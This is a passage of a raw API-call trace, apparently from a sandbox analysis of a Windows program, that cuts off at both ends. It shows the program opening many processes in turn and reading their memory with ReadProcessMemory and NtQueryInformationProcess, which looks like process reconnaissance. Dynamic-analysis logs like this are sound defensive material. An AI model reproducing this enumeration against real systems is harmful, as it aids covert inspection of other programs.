_Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.325] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x464 [0295.325] GetLastError () returned 0x0 [0295.326] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.326] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.326] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.326] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.326] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.328] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.329] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.329] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.329] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.329] malloc (_Size=0x5a) returned 0x196ef0d0370 [0295.329] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0295.330] free (_Block=0x196ef0d0370) [0295.331] CloseHandle (hObject=0x464) returned 1 [0295.331] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0295.336] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2024") returned 4 [0295.337] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.337] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.379] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x464 [0295.379] GetLastError () returned 0x0 [0295.380] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.380] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.380] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.380] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.380] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18e8, lpBuffer=0x670f7c2b0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.381] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.383] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.383] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.383] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.383] malloc (_Size=0x32) returned 0x196ef0d0ad0 [0295.383] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d0ad0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0ad0*, lpNumberOfBytesRead=0x0) returned 1 [0295.384] free (_Block=0x196ef0d0ad0) [0295.385] CloseHandle (hObject=0x464) returned 1 [0295.394] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0295.399] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="736") returned 3 [0295.400] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.400] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.419] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x464 [0295.419] GetLastError () returned 0x0 [0295.420] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.420] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.420] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.420] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.420] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670f7c2b0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.421] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.423] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.423] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.423] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.423] malloc (_Size=0x6c) returned 0x196ef0d2120 [0295.423] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0295.424] free (_Block=0x196ef0d2120) [0295.425] CloseHandle (hObject=0x464) returned 1 [0295.426] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0295.430] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2260") returned 4 [0295.431] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.431] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x464 [0295.453] GetLastError () returned 0x0 [0295.454] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.454] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.455] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.455] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303780, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.456] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670f7c2b0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.457] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.459] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.459] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798302c60, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.460] malloc (_Size=0x118) returned 0x196ef0d4e70 [0295.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d4e70, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0295.461] free (_Block=0x196ef0d4e70) [0295.462] CloseHandle (hObject=0x464) returned 1 [0295.463] _ui64tow_s (in: _Value=0x934, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0295.467] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2356") returned 4 [0295.468] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.468] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x464 [0295.485] GetLastError () returned 0x0 [0295.485] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.487] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.487] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e03730, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.488] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e032b4, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.490] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.492] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.492] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e02c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.493] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0295.494] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0295.495] free (_Block=0x196ef0d4e70) [0295.496] CloseHandle (hObject=0x464) returned 1 [0295.496] _ui64tow_s (in: _Value=0x8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0295.501] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="8") returned 1 [0295.502] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.502] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x464 [0295.520] GetLastError () returned 0x0 [0295.521] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.521] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.523] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.525] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.534] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.535] malloc (_Size=0x6a) returned 0x196ef0d2120 [0295.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0295.536] free (_Block=0x196ef0d2120) [0295.537] CloseHandle (hObject=0x464) returned 1 [0295.538] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0295.544] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2788") returned 4 [0295.545] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.545] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.565] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x464 [0295.565] GetLastError () returned 0x0 [0295.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.568] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.570] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.570] malloc (_Size=0x64) returned 0x196ef0d0370 [0295.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0295.571] free (_Block=0x196ef0d0370) [0295.572] CloseHandle (hObject=0x464) returned 1 [0295.573] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0295.577] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2880") returned 4 [0295.579] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.579] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x464 [0295.596] GetLastError () returned 0x0 [0295.596] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.598] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.600] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.600] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.600] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.600] malloc (_Size=0x72) returned 0x196ef0d2120 [0295.600] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0295.601] free (_Block=0x196ef0d2120) [0295.601] CloseHandle (hObject=0x464) returned 1 [0295.642] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0295.647] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1192") returned 4 [0295.648] GetVersionExW (in: 